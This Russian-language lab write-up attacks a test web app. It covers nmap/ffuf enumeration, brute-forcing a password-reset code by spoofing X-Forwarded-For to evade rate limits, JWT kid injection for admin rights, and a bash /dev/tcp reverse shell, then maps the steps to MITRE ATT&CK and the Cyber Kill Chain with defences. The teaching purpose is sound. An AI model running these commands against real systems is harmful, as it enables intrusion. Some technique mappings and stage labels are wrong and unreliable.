В настоящее время методы анализа угроз, возрастающая сложность кибератак «приказывают» применять четко выстроенные фреймворки, позволяющие не только детально описывать этапы атаки, но и прогнозировать возможные векторы развития инцидентов. Это все демонстрирует необходимость применения инструментов, таких как MITRE ATT&CK и Cyber Kill Chain, для разбора тактик, техник злоумышленников.
Дам краткое определение для этих двух инструментов.
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) — это база знаний, которая описывает различные тактики, техники и методы, используемые киберпреступниками при атаках на информационные системы
Cyber Kill Chain – модель, применяемая в области кибербезопасности и описывающая этапы кибератак
Для быстрого ввода в экскурс, дам краткое описание содержания статьи:
Реализация атаки
Анализ атаки по матрице MITRE ATT&CK
Прогнозирование атаки на основе Cyber Kill Chain
1. Реализация атаки
Прошу особо чувствительных от экрана не убирать. Все проделанные ниже действия созданы только для ознакомления и развлечения и не являются призывом к действию. Стоит отметить, что реализация атаки выполнена на тестовом стенде. Пострадал только автор, в частности время, потраченное им на создание уязвимой тачки.
Планируется обход аутентификации на веб-сайте и получение rce. Мы делаем это путем грубого подбора кода восстановления пароля, чтобы сбросить пароль и получить доступ к веб-приложению, после этого мы повышаем наши привилегии до администратора, манипулируя токеном JWT, который затем позволяет нам получить доступ к панели управления администратора и выполнить код на целевой машине.
Enumeration
Начнем с этапа Enumeration (Сбор информации). Здесь мы начинаем легитимно получать, что важно, без использования уязвимостей, данных об исследуемом сервисе или открытом порте. Здесь, конечно же, мы используем того самого. Как говорится «в студию» nmap, со следующими параметрами (см. Таблица 1):
nmap -sV -sC -Pn -p- -A -T4 --min-rate=2000 {target_IP}
Таблица 1. Параметры nmap.
Параметр | Описание | Пример использования |
-sV | Определение версий служб (Version Detection). Nmap отправляет специфические запросы к открытым портам и анализирует ответы для определения ПО и его версии. | Обнаруживает, что на порту 80 работает Apache 2.4.29, а на порту 22 — OpenSSH 7.6. |
-sC | Запуск скриптов из категории default (скрипты для сбора базовой информации, например, проверка на уязвимости или извлечение заголовков HTTP). | Скрипт http-title извлекает заголовок веб-страницы: Example Company - Homepage. |
-Pn | Игнорирует проверку доступности хоста через ICMP (Ping). Полезно, если хост блокирует пинги, но порты открыты. | Сканирует хост даже при недоступности через ping. |
-p- | Сканирование всех 65535 портов (по умолчанию Nmap проверяет только 1000 основных портов). | Находит редко используемые порты, например, 31337 (часто используется для бэкдоров). |
-A | Агрессивное сканирование (включает -sV, -sC, -O (определение ОС) и трассировку). | Определяет ОС: Linux 4.15.0-112-generic, трассирует маршрут до хоста. |
-T4 | Скорость сканирования (Timing Template). T4 — агрессивный режим (пакеты отправляются быстро, увеличивает нагрузку на сеть). | Сокращает время сканирования с часов до минут. |
--min-rate=2000 | Минимальная скорость отправки пакетов — 2000 пакетов/сек. Ускоряет сканирование, но может быть замечено системами защиты. | Позволяет завершить сканирование 65535 портов за 30–60 секунд. |
Мы нашли 2 открытых порта: 22 - OpenSSH и 1337 – Apache веб сервер (см. Рис. 1). Хочется добавить, что обнаруженные сервисы OpenSSH на порту 22 и Apache на порту 1337 указывают на необходимость тщательной настройки безопасности. Наличие нестандартного порта (1337) не обеспечивает защиту, а всего лишь усложняет автоматическое сканирование.

Перейдем на веб-страницу, указав в адресной строке браузера http://{target ip}:1337. Мы получили страницу для авторизации (см. Рис. 2).

Проверим исходный код нашей страницы авторизации. Это можно сделать командой view-source:http://{target ip}:1337/ или же нажать правой кнопкой мыши в любой части страницы авторизации и выбрать «исходный код страницы» (см. Рис. 3).

Видим подсказку или же, если это был реальный кейс, то ошибка разработчиков. Можно сделать вывод, что к названию директорий необходимо приписывать Dev_.
Давайте приступим к сканированию директорий. В этом нам поможет утилита ffuf – применяющийся для фаззинга веб-приложений, с помощью которого можно находить скрытые директории, файлы, параметры и поддомены, подставляя значения из словаря. Используем утилиту со следующими параметрами (см. Таблица 2):
ffuf -c -w /usr/share/wordlists/dirb/common.txt –u http://10.10.168.191:1337/Dev_FUZZ
Таблица 2.
Параметр | Описание | Пример использования |
-c | Цветной вывод (Colorized Output). Упрощение чтения результатов, выделяя найденные пути цветом. | admin → зеленый, 404 → серый. |
-w | Указание пути к словарю (Wordlist). Значение FUZZ в URL заменяется строками из файла. | common.txt содержит слова: admin, backup, test. |
-u | Целевой URL с плейсхолдером FUZZ. | http://10.10.168.191:1337/Dev_FUZZ → http://10.10.168.191:1337/Dev_admin. |
Мы нашли интересную директорию /dev_logs (см. Рис. 3).

Перейдя в каталог /dev_logs, мы обнаруживаем утечку файла журнала с адресом электронной почты (см. Рис. 5). Можно использовать этот адрес электронной почты для сброса пароля.

Перейдем на страницу восстановления и введем полученную нами почту из журнала dev_logs.
Почта подошла и нас перенаправило на страницу восстановления, в которой необходимо ввести код отправленный на почту или же, в нашем случае код, который мы планируем брутфорсить (см. Рис. 6). Нам необходимо отправить код восстановления, состоящий из 4 цифр, на адрес электронной почты или же в нашем случае его «жесточайший» перебор.

Давайте проверим запрос через всеми любимую утилиту Burp Suite. Данная программа позволит нам увидеть, как данные передаются между браузером (клиент) и сервером, и искать ошибки в этом процессе.
Мы отправили POST-запрос на reset_password.php c параметрами recovery_code и s. Параметр s обозначает секунды, оставшиеся до истечения срока действия кода (см. Рис. 7).

В поле нашего зрения может попасть один интересный заголовок в ответе от сервера. Заголовок Rate-Limit-Pending: 5 (см. Рис. 8). HTTP-заголовок, используемый сервером для информирования клиента о количестве оставшихся запросов до срабатывания ограничения скорости (rate limit). Его можно интерпретировать как: «У тебя есть еще 5 запросов до блокировки». Пример его работы:
Допустим, сервер установил лимит: 5 запросов в минуту. Каждый запрос уменьшает значение Rate-Limit-Pending на 1. При достижении 0 сервер возвращает ошибку 429 Too Many Requests с сообщением: Rate limit exceeded. Please try again later.

ам удалось обойти это ограничение, связанное с Rate-Limit-Pending и не только это, нам даже не требуется вводить IP-адрес, подойдет любое значение (см. Рис. 9). Заголовок X-Forwarded-For (XFF) часто используется серверами для определения исходного адреса, учитывая, что запрос идет через прокси либо балансировщик нагрузки. Здесь имеет место быть уязвимость, если сервер слепо доверяет это заголовку и не осуществляет его валидацию. Злоумышленник может подменять IP-адрес, применяя этот заголовок, направленный на обход ограничения скорости, которое считается на основе IP. В качестве защиты от его обхода, можно использовать следующее:
Валидация заголовка: Проверка, что X-Forwarded-For содержит валидный IP.
Комбинированный ключ: Учет не только IP, но и:
API-токена
Cookies
User-Agent
Использование Rate Limit по пути.
Ограничение для конкретного эндпоинта (/login), а не глобально.
Фильтрация аномалий: Блокировка запросов с подозрительными заголовками (например, XFF: 123).

Приступим к перебору всех возможных вариантов четырехзначного кода и изменению заголовка XFF, используя нашу утилитку ffuf со следующими параметрами (см. Таблица 3):
ffuf -c -X POST -w nums.txt -u "http://10.10.10.10:1337/reset_password.php" -d "recovery_code=FUZZ&s=337" -H "Cookie: PHPSESSID=lk587499qccskudk8o7jm1k63u" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Forwarded-For: FUZZ" -fr "Invalid or expired recovery code"
Таблица 3
Параметр | Описание |
-c | Включает цветной вывод для удобства чтения. |
-X POST | Указывает метод HTTP-запроса — POST (по умолчанию используется GET). |
-w nums.txt | Загружает словарь из файла nums.txt, где каждое значение (1000-9999) подставляется в FUZZ. |
-u "URL" | Целевой URL, куда отправляются запросы. |
-d "recovery_code=FUZZ&s=337" | Тело POST-запроса. FUZZ заменяется на значения из словаря, s=337 — статический параметр (например, идентификатор сессии). |
-H "Cookie: ..." | Устанавливает куки для аутентификации (здесь — идентификатор сессии PHPSESSID). |
-H "Content-Type: ..." | Указывает тип данных — application/x-www-form-urlencoded (обязательно для POST-запросов с телом). |
-H "X-Forwarded-For: FUZZ" | Подмена IP-адреса через заголовок для обхода rate limit. FUZZ заменяется тем же числом, что и в recovery_code. |
-fr "Invalid..." | Фильтр ответов: скрывает все ответы, содержащие фразу "Invalid or expired recovery code", чтобы показать только успешные попытки. |
Перед запуском команды необходимо создать словарь со значениями от 0000 до 9999 c помощью команды в оболочке bash: seq 1000 9999 > nums.txt. Мы подобрали код с помощью ffuf (см. Рис. 10).

Давайте проверим корректен ли он. Если да, то нас должно отправить на страницу со сбросом пароля и ввода нового. Результат будет успешным, т.к. тачка тестовая (см. Рис. 11).

Поменяв пароль, осуществляем вход, введя в поле email почту, которые мы нашли в журналах лога и в качестве пароля указываем новый.
Мы получили доступ к кабинету пользователя (см. Рис. 12).

Foothold
Завершив этап Enumeration (Сбор информации о цели), если говорить простым языком ищем точки входа (двери) в систему, перейдем на этап Foothold (точка входа) или простыми словами, открыть дверь и войти.
На информационной панели мы нашли форму для ввода команды, которая будет выполняться. Введя команду whoami мы получаем ответ command not allowed и спустя некоторое время мы автоматически выходим из личного кабинета (см. Рис. 13). Так же замети, что имеет токен JWT и файл cookie persistentSession, отвечающий за выход из системы.

Дам небольшое понимание о JWT и pesristentSession.
JWT используется для безопасной передачи данных между клиентом и сервером. Он состоим из трех частей, разделенных точками: Header.Payload.Signature.
Сам токе выглядит именно так: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTY5MDAwMDAwMH0.4Qw3Z7K2yF6tXvJlLpOc7J8dRn9uYHm1WqYQbN1s3X
Как он отрабатывает при общении клиента и сервера?
Аутентификация:
Пользователь вводит логин/пароль → сервер генерирует JWT с данными пользователя.
Токен сохраняется на клиенте (в куках, localStorage).
Авторизация:
Клиент отправляет JWT в заголовке Authorization: Bearer <токен>.
Сервер проверяет подпись и разрешает доступ к API, если токен валиден.
Кука persistentSession используется для поддержания сессии пользователя при перезагрузках браузера. Зачастую содержит только идентификатор сессии, а данные хранятся на сервере. Пример самой куки:
Кука persistentSession используется для поддержания сессии пользователя при перезагрузках браузера. Зачастую содержит только идентификатор сессии, а данные хранятся на сервере. Пример самой куки:
persistentSession=abc123; Expires=Wed, 21 Oct 2026 07:28:00 GMT; HttpOnly; Secure.
Cкопируем полученный нами JWT токен и расшифруем его на https://jwt.io (см. Рис. 14). Замечаем поля role и kid в HEADER токена JWT, которые можно изменить.

Единственной командой, которая дала нам возможность выполнить её это ls. Она выводит список всего, того что находится по указанному для нее пути. Результатом ее исполнения стал (см. Рис. 15) 188ade1.key.

Скорее всего, в этом файле, который нам удастся прочитать есть ключ, позволяющий нам провести манипуляцию с JWT в части SIGNATURE. Изменим поле kid в HEADER, вставив путь к этому ключу, поле role, чтоб повысить права и вставим значение ключа (188ade1.key) (см. Рис. 16).
Давай дадим объяснение о уязвимостях, с которыми мы столкнулись при манипуляции с JWT токеном.
Можно затронуть уязвимость «key ID Injection», реализация которой стала быть возможной после изменения параметра «kid» в заголовке JWT. Если сервер слепо доверяет этому параметру, не проводя валидацию, недоброжелатель может указать путь к своему ключу, в качестве которого может выступать pubkic key или к файлу, находящемуся на сервере.
Не будем оставлять без внимания подмену роли, она же Privilege Escalation. Здесь тоже отсутствует проверка соответствия роли в токене реальным правам пользователя. Злоумышленник меняет роль на admin, что приводит к повышению привилегий.
Ну и, конечно же, уязвимость, связанная с ключом, а именно с его расположением. Ключ был доступен для чтения, что позволило атакующему подписать токен валидным ключом.
Найдя уязвимости, будет неправильным, если не рассказать о методах защиты от них:
Ограничение или запрет на выбор ключа (kid). Можно просто игнорировать этот параметр или использовать предопределенный список доверенных ключей.
Валидация данных токена, направленная на проверку роли пользователя в базе данных, а не слепое доверие полю role.
Осуществить защиту секретных ключей, храня их за корневой директорией веб-сервера.
Использовать асимметричные алгоритмы для шифрования, основная идея которых заключается в хранении приватного ключа на сервере, а публичный для проверки.

Давайте скопируем наш измененный токен и с помощью Burp Suite проведем запрос на выполнение команды, исполнение которой было запрещено для нас (см Рис. 17).

Нам удалось выполнить команду операционной системы. Создадим shell на нашей цели до ПК злоумышленника, выполнив следующую команду по созданию shell и открытию порта прослушивания на машине атакующего nc -lvnp 9001. Команда по созданию reverse shell (см. Таблица 4).
Таблица 4. Описание команды
Компонент | Описание |
bash -c | Запуск оболочки bash с выполнением команды, указанной в кавычках. |
/bin/bash -i | Запуск интерактивной оболочки (-i = interactive). Без этого флага перенаправление ввода/вывода может работать некорректно. |
>& /dev/tcp/10.14.91.207/9001 | Перенаправление стандартного вывода (stdout) и ошибок (stderr) в TCP-сокет. В Linux bash поддерживает виртуальные файлы /dev/tcp/<IP>/<порт> для создания сетевых соединений. |
0>&1 | Перенаправление стандартного ввода (stdin, файловый дескриптор 0) в стандартный вывод (stdout, файловый дескриптор 1), который уже связан с TCP-сокетом. Это позволяет передавать команды от атакующего к целевой системе. |
Можно сказать, что реализация атаки прошла успешно. Перейдем к следующей части нашей статьи.
Анализ атаки по матрице MITRE ATT&CK
На этапе «Разведка» (Reconnaisance) была применена техника «Active Scanning (T1595)». Данная техника подразумевала сканирование портов через nmap для выявления открытых сервис, которыми оказались SSH, Apache (см. Рис. 18).

Перейдем к этапу «Resource Development» (Подготовка ресурсов). Техника, которая применялась на этом этапе – «Acquire Infrastructure (T1583)» (см. Рис. 19). Здесь была использована утилита ffuf для подбора директорий, что позволило обнаружить утечку email.

Обратимся к этапу Initial Access (Первоначальный доступ). Применимой техникой здесь стала «Valid Accounts (T1078)», в основе корой лежали сброс пароля через подбор кода восстановления и получение доступа к аккаунту (см. Рис. 20).

Следующим этапом является «Privilege Escalation (Эскалация привилегий)». В качестве используемой техники была «Access Token Manipulation (T1134)», включающая в себя подтехнику «Token Impersonation/Theft (T1606.001)» (см. Рис. 21). Действие выполняемое в соответствии с этой подтехникой было изменение JWT-токена.
В качестве используемой техники была «Access Token Manipulation (T1134)», включающая в себя подтехнику «Token Impersonation/Theft (T1606.001)» (см. Рис. 21). Действие выполняемое в соответствии с этой подтехникой было изменение JWT-токена.

Рассмотрим этап «Execution (Выполнение кода)». Используемой техникой является «Command and Scripting Interpreter (T1059)» в качестве подтехники выступает «Unix Shell (T1059.004)». Выполнение команды ls и получение reverse shell (см. Рис. 22). Важно, этот этапа идет полсе «Initial Access (Первоначальный доступ )».

Наконец этап «Command and Control (Управление)» и техника «Remote Access Software (T1219)» (см. Рис. 23). Установка обратного соединения.

Cyber Kill Chain
Атака охватывает все этапы Cyber Kill Chain, начиная с разведки и заканчивая выполнением команд на целевой системе. Каждый этап атаки детально описан в таблице, что позволяет понять, как злоумышленник достигает своих целей, и какие меры защиты можно применить для предотвращения подобных атак (см. Таблица 5 ).
Таблица 5. Каждый этап Cyber Kill Chain
1. Reconnaissance (Разведка) | |||
Цель | Действия | Пример | Защита |
Сбор информации о целевой системе. | Сканирование портов, поиск директорий, анализ исходного кода. | nmap -sC -sV -T4 10.10.168.191, ffuf -c -w wordlist.txt -u URL | Ограничение информации в заголовках, мониторинг сканирующей активности. |
2. Weaponization (Создание инструментария) | |||
Цель | Действия | Пример | Защита |
Подготовка инструментов для эксплуатации. | Генерация списка чисел для брутфорса, настройка ffuf. | seq 1000 9999 > nums.txt, ffuf -c -X POST -w nums.txt ... | Использование CAPTCHA, MFA, WAF. |
3. Delivery (Доставка) | |||
Цель | Действия | Пример | Защита |
Передача вредоносной нагрузки. | Отправка POST-запросов для подбора recovery-кода, подмена JWT. | ffuf ... -H "X-Forwarded-For: FUZZ", подмена role и kid в JWT. | Валидация параметра kid, использование HMAC с секретным ключом. |
4. Exploitation (Эксплуатация) | |||
Цель | Действия | Пример | Защита |
Использование уязвимости для получения доступа. | Подбор recovery-кода, подмена JWT для повышения привилегий. | Подмена role на ADMIN, использование ключа /var/www/html/232.key. | Проверка ролей в БД, регулярная ротация ключей. |
5. Installation (Установка доступа) | |||
Цель | Действия | Пример | Защита |
Закрепление в системе. | Получение обратной оболочки через bash -i. | bash -c '/bin/bash -i >& /dev/tcp/10.14.91.207/9001 0>&1' | Запрет исходящих соединений, мониторинг процессов. |
6. Command and Control (C2) | |||
Цель | Действия | Пример | Защита |
Управление компрометированной системой. | Использование netcat для удаленного выполнения команд. | nc -lvnp 9001 | Обнаружение аномального трафика, использование EDR. |
7. Reconnaissance (Разведка) | |||
Цель | Действия | Пример | Защита |
Выполнение финальных задач атаки. | Выполнение произвольных команд, попытка эскалации привилегий. | Сегментация сети, минимальные привилегии для сервисов. |
Атака была проанализирована, используя ключевые моделей кибербезопасности: MITRE ATT&CK и Cyber Kill Chain. Эти модели позволили детально разобрать этапы атаки, выявить уязвимости и предложить меры защиты.